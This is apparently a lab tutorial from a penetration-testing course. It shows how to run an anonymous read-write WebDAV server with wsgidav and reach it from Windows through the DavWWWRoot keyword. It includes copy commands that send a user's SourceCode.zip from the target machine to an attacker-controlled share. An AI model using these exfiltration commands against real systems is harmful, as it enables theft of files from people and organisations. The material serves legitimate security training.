2026-06-19

Setting Up a WebDAV Server

webdavPythonfile transferSMB

To set up our WebDAV server, we need to install two Python modules, wsgidav and cheroot (you can read more about this implementation on the wsgidav GitHub). After installing them, we run the wsgidav application in the target directory.

Installing WebDAV Python modules

code

Schiz0@htb[/htb]$ sudo pip3 install wsgidav cheroot
Collecting wsgidav
  Downloading WsgiDAV-4.0.1-py3-none-any.whl (171 kB)
      |████████████████████████████████| 171 kB 1.4 MB/s
...SNIP...

Using the WebDAV Python module

code

Schiz0@htb[/htb]$ sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
Running without configuration file.
10:02:53.949 - WARNING : App wsgidav.mw.cors.Cors(None).is_disabled() returned True: skipping.
10:02:53.950 - INFO    : WsgiDAV/4.0.1 Python/3.9.2 Linux-5.15.0-15parrot1-amd64-x86_64-with-glibc2.31
10:02:53.950 - INFO    : Lock manager:      LockManager(LockStorageDict)
10:02:53.950 - INFO    : Property manager:  None
10:02:53.950 - INFO    : Domain controller: SimpleDomainController()
10:02:53.950 - INFO    : Registered DAV providers by route:
10:02:53.950 - INFO    :   - '/:dir_browser': FilesystemProvider for path '/usr/local/lib/python3.9/dist-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
10:02:53.950 - INFO    :   - '/': FilesystemProvider for path '/tmp' (Read-Write) (anonymous)
10:02:53.950 - WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
10:02:53.950 - WARNING : Share '/' will allow anonymous write access.
10:02:53.950 - WARNING : Share '/:dir_browser' will allow anonymous read access.
10:02:54.194 - INFO    : Running WsgiDAV/4.0.1 Cheroot/8.6.0 Python 3.9.2
10:02:54.194 - INFO    : Serving on http://0.0.0.0:80 ...

Now we can attempt to connect to the share using the DavWWWRoot directory.

code

C:\htb> dir \\192.168.49.128\DavWWWRoot

Volume in drive \\192.168.49.128\DavWWWRoot has no label.
Volume Serial Number is 0000-0000

Directory of \\192.168.49.128\DavWWWRoot
05/18/2022  10:05 AM    <DIR>          .
05/18/2022  10:05 AM    <DIR>          ..
05/18/2022  10:05 AM    <DIR>          sharefolder
05/18/2022  10:05 AM                13 filetest.txt
	1 File(s)             13 bytes
	3 Dir(s)  43,443,318,784 bytes free

Note: DavWWWRoot is a special keyword recognized by the Windows Shell. No such folder exists on your WebDAV server. The DavWWWRoot keyword tells the Mini-Redirector driver, which handles WebDAV requests, that you are connecting to the root of the WebDAV server.

You can avoid using this keyword if you specify a folder that exists on your server when connecting. For example: \\192.168.49.128\sharefolder.

Uploading files using SMB

code

C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\sharefolder\

Note: if there are no SMB (TCP/445) restrictions, you can use impacket-smbserver the same way we set it up for download operations.

WebDAV recall3 blanks

Install the Python modules and , then serve a directory with wsgidav. From Windows the WebDAV root is reached through the special keyword.

try it before revealing

Installing WebDAV Python modules

Using the WebDAV Python module

Connecting to the WebDAV share

Uploading files using SMB

Read next